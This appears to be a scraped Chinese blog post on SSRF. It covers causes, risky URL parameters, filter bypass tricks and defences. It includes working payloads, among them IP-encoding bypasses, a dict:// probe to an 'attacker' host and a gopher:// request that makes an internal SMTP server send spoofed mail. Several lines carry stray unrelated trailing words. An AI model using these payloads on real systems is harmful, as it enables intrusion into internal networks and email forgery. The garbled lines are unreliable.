SSRF(Server-Side Request Forgery),服务端请求伪造。php
攻击利用了可访问Web服务器(A)的特定功能构造恶意payload;攻击者在访问A时,利用A的特定功能构造特殊payload,由A发起对内部网络中系统B(内网隔离,外部不可访问)的请求,从而获取敏感信息。此时A被做为中间人(跳板)进行利用。html
SSRF漏洞缘由,主要是因为服务端提供了从其余服务器获取数据的功能,但未对目标地址进行过滤和校验。服务器
常见业务场景(功能点):网络
具体示例,可参考bwapp、乌云各类SSRF漏洞。app
前文提到的特定的功能点:dom
URL关键字:ide
share wap url link src source target u 3g display sourceURl imageURL domain
自动化检测工具,AcuMonitor。工具
一般的Web扫描器原理都比较简单(以下图),扫描器发送payload到目标主机,分析返回的response后根据特定规则进行告警。对于SSFR、XXE等漏洞不适用,没法定义统一的验证规则,况且有些状况是无回显的。ui
这个工具也是利用XXE中OOB以及基于时间延时的攻击向量进行漏洞验证,下图已经比较清楚了。如需详细了解,参考上文连接。url
因为工做行业,我的实际工做中几乎没遇到过SSRF问题。因此这里绕过技巧,主要也是网上的一些分享,有些不是很是清楚,先作个记录,后续补充。具体能够阅读参考内容。
http://localhost http://127.0.0.1:80 http://[::]:80
http://example.com@127.0.0.1
http://127.0.0.1.xip.io/
115.239.210.26 >>> 16373751032 //首先把这四段数字给分别转成16进制,结果:73 ef d2 1a //而后把 73efd21a 这十六进制一块儿转换成8进制 //记得访问的时候加0表示使用八进制(能够是一个0也能够是多个0 跟XSS中多加几个0来绕过过滤同样),十六进制加0x
//当url协议限定只为http(s)时,能够利用follow redirect 特性 //构造302跳转服务, Dict:// dict://<user-auth>@<host>:<port>/d:<word> ssrf.php?url=dict://attacker:11111/ SFTP:// ssrf.php?url=sftp://example.com:11111/ TFTP:// ssrf.php?url=tftp://example.com:12346/TESTUDPPACKET LDAP:// ssrf.php?url=ldap://localhost:11211/%0astats%0aquit Gopher://ssrf.php? url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
优先考虑白名单方式验证,过滤应用须要的域名及IP。
白名单不能知足需求时考虑黑名单方式,例如禁止请求私有IP地址。黑名单容易存在过滤不全的问题。
对服务器响应内容进行处理(验证是否为预期响应内容),任何状况下都不建议直接返回服务器响应内容给客户端。
这个不用多说,主要就是经过file、http等协议进行利用,若是不是必要的建议直接禁用。
基于不可信原则,内网服务需进行认证鉴权。
参考:
https://www.secpulse.com/archives/65832.html
https://www.freebuf.com/column/157466.html
https://www.t00ls.net/articles-41070.html
https://blog.csdn.net/u010726042/article/details/77806775
https://www.jianshu.com/p/d1d1c40f6d4c
http://www.javashuo.com/article/p-xsyynqht-gh.html
https://www.acunetix.com/blog/articles/server-side-request-forgery-vulnerability/
SSRF --RCE
https://generaleg0x01.com/2019/03/10/escalating-ssrf-to-rce/